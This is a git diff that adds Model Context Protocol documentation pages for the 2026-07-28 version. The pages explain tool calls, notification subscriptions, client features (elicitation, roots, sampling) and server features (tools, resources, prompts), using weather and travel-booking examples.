+ The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments.
+
+ #### Understanding the Tool Execution Request
+
+ The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name:
+
+
+ ```json Tool Call Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "method": "tools/call",
+ "params": {
+ "name": "weather_current",
+ "arguments": {
+ "location": "San Francisco",
+ "units": "imperial"
+ },
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ }
+ }
+ }
+ ```
+
+ ```json Tool Call Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "result": {
+ "resultType": "complete",
+ "content": [
+ {
+ "type": "text",
+ "text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%"
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Key Elements of Tool Execution
+
+ The request structure includes several important components:
+
+ 1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute.
+
+ 2. **`arguments`**: Contains the input parameters as defined by the tool's `inputSchema`. In this example:
+ * `location`: "San Francisco" (required parameter)
+ * `units`: "imperial" (optional parameter, defaults to "metric" if not specified)
+
+ 3. **`_meta`**: Carries the standard per-request fields: the protocol version and client capabilities that every MCP request must include, plus the client's identity, which clients should include unless configured not to.
+
+ 4. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation.
+
+ #### Understanding the Tool Execution Response
+
+ The response demonstrates MCP's flexible content system:
+
+ 1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.)
+
+ 2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases.
+
+ 3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions.
+
+ This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models.
+
+ #### How This Works in AI Applications
+
+ When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world.
+
+ ```python theme={null}
+ # Pseudo-code for AI application tool execution
+ async def handle_tool_call(conversation, tool_name, arguments):
+ client = app.find_mcp_client_for_tool(tool_name)
+ result = await client.call_tool(tool_name, arguments)
+ conversation.add_tool_result(result.content)
+ ```
+
+
+
+ MCP supports real-time notifications that enable servers to inform clients about changes without being polled for them. This demonstrates the notification system, a key feature that keeps clients synchronized and responsive.
+
+ #### Subscribing to Changes
+
+ Change notifications are opt-in. To receive them, the client opens a long-lived notification stream by sending a [`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) request with a `notifications` filter naming the event types it wants. Here the client asks for tool list changes:
+
+ ```json Listen Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 4,
+ "method": "subscriptions/listen",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ },
+ "notifications": {
+ "toolsListChanged": true
+ }
+ }
+ }
+ ```
+
+ Every client request carries the `io.modelcontextprotocol/protocolVersion` and `io.modelcontextprotocol/clientCapabilities` fields in `_meta`, and normally `io.modelcontextprotocol/clientInfo` as well, so the server can identify the client without relying on connection state.
+
+ The server acknowledges the subscription with `notifications/subscriptions/acknowledged`, which is the first message carrying that subscription's ID in `_meta` (the server sends no other notification for that subscription before it). Its `notifications` field reflects the subset of the requested filter the server agreed to honor, with unsupported notification types omitted:
+
+ ```json Acknowledgment theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/subscriptions/acknowledged",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/subscriptionId": 4
+ },
+ "notifications": {
+ "toolsListChanged": true
+ }
+ }
+ }
+ ```
+
+ #### Understanding Tool List Change Notifications
+
+ After the acknowledgment, when the server's available tools change (for example, when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable), the server delivers a notification on that stream:
+
+ ```json Notification theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/tools/list_changed",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/subscriptionId": 4
+ }
+ }
+ }
+ ```
+
+ #### Key Features of MCP Notifications
+
+ 1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent.
+
+ 2. **Opt-In Based**: This notification is only sent to clients that requested `"toolsListChanged": true` in their `subscriptions/listen` filter, and it is only available from servers that declared `"listChanged": true` in their tools capability (as shown in Step 1).
+
+ 3. **Subscription-ID Tagging**: Every notification on the stream carries `io.modelcontextprotocol/subscriptionId` in `_meta`. The value is the JSON-RPC ID of the `subscriptions/listen` request that opened the stream (`4` in this example), so clients can correlate each notification with the subscription that produced it.
+
+ 4. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive.
+
+ 5. **Best Effort**: There are no guarantees that every notification will be sent or received, particularly across transport reconnects. Clients should also rely on polling to preserve freshness of results.
+
+ #### Client Response to Notifications
+
+ Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 5,
+ "method": "tools/list",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ }
+ }
+ }
+ ```
+
+ #### Why Notifications Matter
+
+ This notification system is crucial for several reasons:
+
+ 1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions
+ 2. **Efficiency**: Clients don't need to poll for changes; they're notified when updates occur
+ 3. **Consistency**: Ensures clients always have accurate information about available server capabilities
+ 4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts
+
+ This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers.
+
+ #### How This Works in AI Applications
+
+ The AI application keeps a notification stream open for the changes it cares about. When one arrives, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available.
+
+ ```python theme={null}
+ # Pseudo-code for AI application notification handling
+ async def follow_tool_changes(client):
+ async with client.listen(tools_list_changed=True) as sub:
+ async for _event in sub:
+ tools_response = await client.list_tools()
+ app.update_available_tools(client, tools_response.tools)
+ if app.conversation.is_active():
+ app.conversation.notify_llm_of_new_capabilities()
+ ```
+
+
diff --git a/content/mcp/docs/2026-07-28/learn/client-concepts.md b/content/mcp/docs/2026-07-28/learn/client-concepts.md
new file mode 100644
index 000000000..a24ee8c83
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/learn/client-concepts.md
@@ -0,0 +1,270 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP clients
+
+MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server.
+
+Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections.
+
+## Core Client Features
+
+In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions.
+
+| Feature | Explanation | Example |
+| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
+| **Elicitation** | Elicitation enables servers to request specific information from users during interactions, providing a structured way for servers to gather information on demand. | A server booking travel may ask for the user's preferences on airplane seats, room type or their contact number to finalize a booking. |
+| **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. Roots are [deprecated](/specification/2026-07-28/deprecated) as of protocol version `2026-07-28`. | A server for booking travel may be given access to a specific directory, from which it can read a user's calendar. |
+| **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. Sampling is deprecated as of protocol version `2026-07-28`. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. |
+
+### Elicitation
+
+Elicitation enables servers to request specific information from users during interactions, creating more dynamic and responsive workflows.
+
+#### Overview
+
+Elicitation provides a structured way for servers to gather necessary information on demand. Instead of requiring all information up front or failing when data is missing, servers can pause their operations to request specific inputs from users. This creates more flexible interactions where servers adapt to user needs rather than following rigid patterns.
+
+Elicitation supports two modes:
+
+* **Form mode**: The server asks the client to collect structured data from the user. The request includes a schema that the client uses to build an input form and validate the response.
+* **URL mode**: The server provides a URL for the user to open. The interaction happens out of band and its data never passes through the client, which makes this mode suitable for sensitive flows such as credential entry or third-party OAuth authorization.
+
+Elicitation follows the [Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr) (MRTR) pattern. When a server needs user input while processing a request such as `tools/call`, it responds with an `InputRequiredResult` whose `inputRequests` field carries one or more `elicitation/create` requests. The client gathers the input and retries the original request, attaching the collected `inputResponses` and echoing back any `requestState` the server included.
+
+**Elicitation flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant User
+ participant Client
+ participant Server
+
+ Client->>Server: tools/call (id: 1)
+ Note over Server: Server needs more information
+ Server-->>Client: InputRequiredResult with elicitation/create request
+
+ Note over Client,User: Human interaction
+ Client->>User: Present elicitation UI
+ User-->>Client: Provide requested information
+
+ Note over Client,Server: Retry request with user input
+ Client->>Server: tools/call (id: 2, inputResponses)
+
+ Note over Server: Continue processing with new information
+ Server-->>Client: Final result
+```
+
+The flow enables dynamic information gathering. Servers can request specific data when needed, users provide information through appropriate UI, and servers complete the retried request with the newly acquired context.
+
+**Elicitation request example (delivered inside `InputRequiredResult.inputRequests`):**
+
+```typescript theme={null}
+{
+ method: "elicitation/create",
+ params: {
+ mode: "form",
+ message: "Please confirm your Barcelona vacation booking details:",
+ requestedSchema: {
+ type: "object",
+ properties: {
+ confirmBooking: {
+ type: "boolean",
+ description: "Confirm the booking (Flights + Hotel = $3,000)"
+ },
+ seatPreference: {
+ type: "string",
+ enum: ["window", "aisle", "no preference"],
+ description: "Preferred seat type for flights"
+ },
+ roomType: {
+ type: "string",
+ enum: ["sea view", "city view", "garden view"],
+ description: "Preferred room type at hotel"
+ },
+ travelInsurance: {
+ type: "boolean",
+ default: false,
+ description: "Add travel insurance ($150)"
+ }
+ },
+ required: ["confirmBooking"]
+ }
+ }
+}
+```
+
+#### Example: Holiday Booking Approval
+
+A travel booking server demonstrates elicitation's power through the final booking confirmation process. When a user has selected their ideal vacation package to Barcelona, the server needs to gather final approval and any missing details before proceeding.
+
+The server elicits booking confirmation with a structured request that includes the trip summary (Barcelona flights June 15-22, beachfront hotel, total \$3,000) and fields for any additional preferences—such as seat selection, room type, or travel insurance options.
+
+As the booking progresses, the server elicits contact information needed to complete the reservation. It might ask for traveler details for flight bookings, special requests for the hotel, or emergency contact information.
+
+#### User Interaction Model
+
+Elicitation interactions are designed to be clear, contextual, and respectful of user autonomy:
+
+**Request presentation**: Clients display elicitation requests with clear context about which server is asking, why the information is needed, and how it will be used. The request message explains the purpose while the schema provides structure and validation.
+
+**Response options**: Users can provide the requested information through appropriate UI controls (text fields, dropdowns, checkboxes), decline to provide information with optional explanation, or cancel the entire operation. Clients validate responses against the provided schema before returning them to servers.
+
+**URL handling**: For URL mode, clients show the full URL and gather explicit consent before opening it, and never fetch the URL automatically. The client only learns whether the user consented. The interaction itself stays between the user and the target site.
+
+**Privacy considerations**: Servers must not use form mode to request sensitive information such as passwords, API keys, access tokens, or payment credentials. Those interactions belong in URL mode, which keeps the data out of band so it never passes through the client or the LLM context. Clients warn about suspicious requests and let users review form data before sending.
+
+### Roots
+
+
+ Roots are [deprecated](/specification/2026-07-28/deprecated) as of protocol
+ version `2026-07-28` and scheduled for removal. New implementations should
+ pass directories or files via tool parameters, resource URIs, or server
+ configuration instead.
+
+
+Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on.
+
+#### Overview
+
+Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing.
+
+**Root structure:**
+
+```json theme={null}
+{
+ "uri": "file:///Users/agent/travel-planning",
+ "name": "Travel Planning Workspace"
+}
+```
+
+Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can change as users work with different projects or folders. Servers pick up the updated boundaries the next time they request the roots list.
+
+#### Example: Travel Planning Workspace
+
+A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning.
+
+The client provides filesystem roots to the travel planning server:
+
+* `file:///Users/agent/travel-planning` - Main workspace containing all travel files
+* `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources
+* `file:///Users/agent/client-documents` - Client passports and travel documents
+
+When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries.
+
+If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client adds it to the roots list, and the server sees the new boundary on its next `roots/list` request.
+
+For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository.
+
+#### Design Philosophy
+
+Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control.
+
+Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically).
+
+#### User Interaction Model
+
+Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management:
+
+**Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work.
+
+**Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records.
+
+### Sampling
+
+
+ Sampling is [deprecated](/specification/2026-07-28/deprecated) as of protocol
+ version `2026-07-28` and scheduled for removal. New implementations should
+ integrate directly with LLM provider APIs instead.
+
+
+Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control.
+
+#### Overview
+
+Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window.
+
+Sampling follows the same [Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr) flow described under [elicitation](#elicitation), with the `InputRequiredResult` carrying a `sampling/createMessage` request.
+
+Servers can also request tool use during sampling by including a `tools` array and an optional `toolChoice` field in the request. The tool definitions are scoped to that sampling request and do not need to correspond to tools the server exposes. Clients declare support through the `sampling.tools` capability, and servers must not send tool-enabled sampling requests to clients that have not declared it. See [sampling](/specification/2026-07-28/client/sampling#tools-in-sampling) in the specification for details.
+
+**Sampling flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant LLM
+ participant User
+ participant Client
+ participant Server
+
+ Client->>Server: tools/call (id: 1)
+ Note over Server: Server needs an LLM completion
+ Server-->>Client: InputRequiredResult with sampling/createMessage request
+
+ Note over Client,User: Human-in-the-loop review
+ Client->>User: Present request for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Client,LLM: Model interaction
+ Client->>LLM: Forward approved request
+ LLM-->>Client: Return generation
+
+ Note over Client,User: Response review
+ Client->>User: Present response for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Client,Server: Retry request with approved response
+ Client->>Server: tools/call (id: 2, inputResponses)
+ Server-->>Client: Final result
+```
+
+The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before the client retries the original request with it.
+
+**Request parameters example:**
+
+```typescript theme={null}
+{
+ messages: [
+ {
+ role: "user",
+ content: {
+ type: "text",
+ text: "Analyze these flight options and recommend the best choice:\n" +
+ "[47 flights with prices, times, airlines, and layovers]\n" +
+ "User preferences: morning departure, max 1 layover"
+ }
+ }
+ ],
+ modelPreferences: {
+ hints: [{
+ name: "claude-sonnet-4-20250514" // Suggested model
+ }],
+ costPriority: 0.3, // Less concerned about API cost
+ speedPriority: 0.2, // Can wait for thorough analysis
+ intelligencePriority: 0.9 // Need complex trade-off evaluation
+ },
+ systemPrompt: "You are a travel expert helping users find the best flights based on their preferences",
+ maxTokens: 1500
+}
+```
+
+#### Example: Flight Analysis Tool
+
+Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs.
+
+The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers] User preferences: morning departure, max 1 layover."
+
+The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations.
+
+#### User Interaction Model
+
+While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms:
+
+**Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests.
+
+**Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server.
+
+**Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information.
+
+**Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-requested AI interactions cannot compromise security or access sensitive data without explicit user consent.
diff --git a/content/mcp/docs/2026-07-28/learn/server-concepts.md b/content/mcp/docs/2026-07-28/learn/server-concepts.md
new file mode 100644
index 000000000..ef2171b60
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/learn/server-concepts.md
@@ -0,0 +1,287 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP servers
+
+MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces.
+
+Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling.
+
+## Core Server Features
+
+Servers provide functionality through three building blocks:
+
+| Feature | Explanation | Examples | Who controls it |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | --------------- |
+| **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights Send messages Create calendar events | Model |
+| **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents Access knowledge bases Read calendars | Application |
+| **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation Summarize my meetings Draft an email | User |
+
+We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together.
+
+### Tools
+
+Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context.
+
+#### How Tools Work
+
+Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| ------------ | ------------------------ | -------------------------------------- |
+| `tools/list` | Discover available tools | Array of tool definitions with schemas |
+| `tools/call` | Execute a specific tool | Tool execution result |
+
+**Example tool definition:**
+
+```typescript theme={null}
+{
+ name: "searchFlights",
+ description: "Search for available flights",
+ inputSchema: {
+ type: "object",
+ properties: {
+ origin: { type: "string", description: "Departure city" },
+ destination: { type: "string", description: "Arrival city" },
+ date: { type: "string", format: "date", description: "Travel date" }
+ },
+ required: ["origin", "destination", "date"]
+ }
+}
+```
+
+#### Example: Travel Booking
+
+Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation:
+
+**Flight Search**
+
+```
+searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15")
+```
+
+Queries multiple airlines and returns structured flight options.
+
+**Calendar Blocking**
+
+```
+createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22")
+```
+
+Marks the travel dates in the user's calendar.
+
+**Email notification**
+
+```
+sendEmail(to: "team@work.com", subject: "Out of Office", body: "...")
+```
+
+Sends an automated out-of-office message to colleagues.
+
+#### User Interaction Model
+
+Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms.
+
+For trust and safety, applications can implement user control through various mechanisms, such as:
+
+* Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions
+* Approval dialogs for individual tool executions
+* Permission settings for pre-approving certain safe operations
+* Activity logs that show all tool executions with their results
+
+### Resources
+
+Resources provide structured access to information that the AI application can retrieve and provide to models as context.
+
+#### How Resources Work
+
+Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model.
+
+Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling.
+
+Resources support two discovery patterns:
+
+* **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024
+* **Resource Templates** - dynamic URIs with parameters for flexible queries. Example:
+ * `travel://activities/{city}/{category}` - returns activities by city and category
+ * `travel://activities/barcelona/museums` - returns all museums in Barcelona
+
+Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------------------- | ------------------------------- | -------------------------------------- |
+| `resources/list` | List available direct resources | Array of resource descriptors |
+| `resources/templates/list` | Discover resource templates | Array of resource template definitions |
+| `resources/read` | Retrieve resource contents | Resource data with metadata |
+| `subscriptions/listen` | Monitor resource changes | Stream of update notifications |
+
+To watch specific resources for changes, a client sends a [`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) request with the resource URIs listed in the `resourceSubscriptions` filter. The server delivers `notifications/resources/updated` on the resulting stream whenever a watched resource changes.
+
+#### Example: Getting Travel Planning Context
+
+Continuing with the travel planning example, resources provide the AI application with access to relevant information:
+
+* **Calendar data** (`calendar://events/2024`) - Checks user availability
+* **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents
+* **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences
+
+The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model.
+
+In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences.
+
+**Resource Template Examples:**
+
+```json theme={null}
+{
+ "uriTemplate": "weather://forecast/{city}/{date}",
+ "name": "weather-forecast",
+ "title": "Weather Forecast",
+ "description": "Get weather forecast for any city and date",
+ "mimeType": "application/json"
+}
+
+{
+ "uriTemplate": "travel://flights/{origin}/{destination}",
+ "name": "flight-search",
+ "title": "Flight Search",
+ "description": "Search available flights between cities",
+ "mimeType": "application/json"
+}
+```
+
+These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)".
+
+#### Parameter Completion
+
+Dynamic resources support parameter completion. For example:
+
+* Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City"
+* Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International"
+
+The system helps discover valid values without requiring exact format knowledge.
+
+#### User Interaction Model
+
+Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include:
+
+* Tree or list views for browsing resources in familiar folder-like structures
+* Search and filter interfaces for finding specific resources
+* Automatic context inclusion or smart suggestions based on heuristics or AI selection
+* Manual or bulk selection interfaces for including single or multiple resources
+
+Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers.
+
+### Prompts
+
+Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server.
+
+#### How Prompts Work
+
+Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------- | -------------------------- | ------------------------------------- |
+| `prompts/list` | Discover available prompts | Array of prompt descriptors |
+| `prompts/get` | Retrieve prompt details | Full prompt definition with arguments |
+
+#### Example: Streamlined Workflows
+
+Prompts provide structured templates for common tasks. In the travel planning context:
+
+**"Plan a vacation" prompt:**
+
+```json theme={null}
+{
+ "name": "plan-vacation",
+ "title": "Plan a vacation",
+ "description": "Guide through vacation planning process",
+ "arguments": [
+ { "name": "destination", "type": "string", "required": true },
+ { "name": "duration", "type": "number", "description": "days" },
+ { "name": "budget", "type": "number", "required": false },
+ { "name": "interests", "type": "array", "items": { "type": "string" } }
+ ]
+}
+```
+
+Rather than unstructured natural language input, the prompt system enables:
+
+1. Selection of the "Plan a vacation" template
+2. Structured input: Barcelona, 7 days, \$3000, \["beaches", "architecture", "food"]
+3. Consistent workflow execution based on the template
+
+#### User Interaction Model
+
+Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include:
+
+* Easy discovery of available prompts
+* Clear descriptions of what each prompt does
+* Natural argument input with validation
+* Transparent display of the prompt's underlying template
+
+Applications typically expose prompts through various UI patterns such as:
+
+* Slash commands (typing "/" to see available prompts like /plan-vacation)
+* Command palettes for searchable access
+* Dedicated UI buttons for frequently used prompts
+* Context menus that suggest relevant prompts
+
+## Bringing Servers Together
+
+The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface.
+
+### Example: Multi-Server Travel Planning
+
+Consider a personalized AI travel planner application, with three connected servers:
+
+* **Travel Server** - Handles flights, hotels, and itineraries
+* **Weather Server** - Provides climate data and forecasts
+* **Calendar/Email Server** - Manages schedules and communications
+
+#### The Complete Flow
+
+1. **User invokes a prompt with parameters:**
+
+ ```json theme={null}
+ {
+ "prompt": "plan-vacation",
+ "arguments": {
+ "destination": "Barcelona",
+ "departure_date": "2024-06-15",
+ "return_date": "2024-06-22",
+ "budget": 3000,
+ "travelers": 2
+ }
+ }
+ ```
+
+2. **User selects resources to include:**
+ * `calendar://my-calendar/June-2024` (from Calendar Server)
+ * `travel://preferences/europe` (from Travel Server)
+ * `travel://past-trips/Spain-2023` (from Travel Server)
+
+3. **AI processes the request using tools:**
+
+ The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips.
+
+ Using this context, the AI then executes the prompt provided by the AI application. In our example, the AI application exposes the weather tools from the connected MCP weather server to the model. Because weather can affect travel plans, the AI chooses to call `checkWeather()` when interpreting the prompt.
+
+ As a result the AI executes a series of tools:
+
+ * `searchFlights()` - Queries airlines for NYC to Barcelona flights
+ * `checkWeather()` - Retrieves climate forecasts for travel dates
+
+ The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary:
+
+ * `bookHotel()` - Finds hotels within the specified budget
+ * `createCalendarEvent()` - Adds the trip to the user's calendar
+ * `sendEmail()` - Sends confirmation with trip details
+
+**The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP.
diff --git a/content/mcp/docs/2026-07-28/learn/versioning.md b/content/mcp/docs/2026-07-28/learn/versioning.md
new file mode 100644
index 000000000..7d0f30a35
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/learn/versioning.md
@@ -0,0 +1,66 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Versioning
+
+The Model Context Protocol uses string-based version identifiers following the format
+`YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made.
+
+
+ The protocol version will *not* be incremented when the
+ protocol is updated, as long as the changes maintain backwards compatibility. This allows
+ for incremental improvements while preserving interoperability.
+
+
+## Revisions
+
+Revisions may be marked as:
+
+* **Draft**: in-progress specifications, not yet ready for consumption.
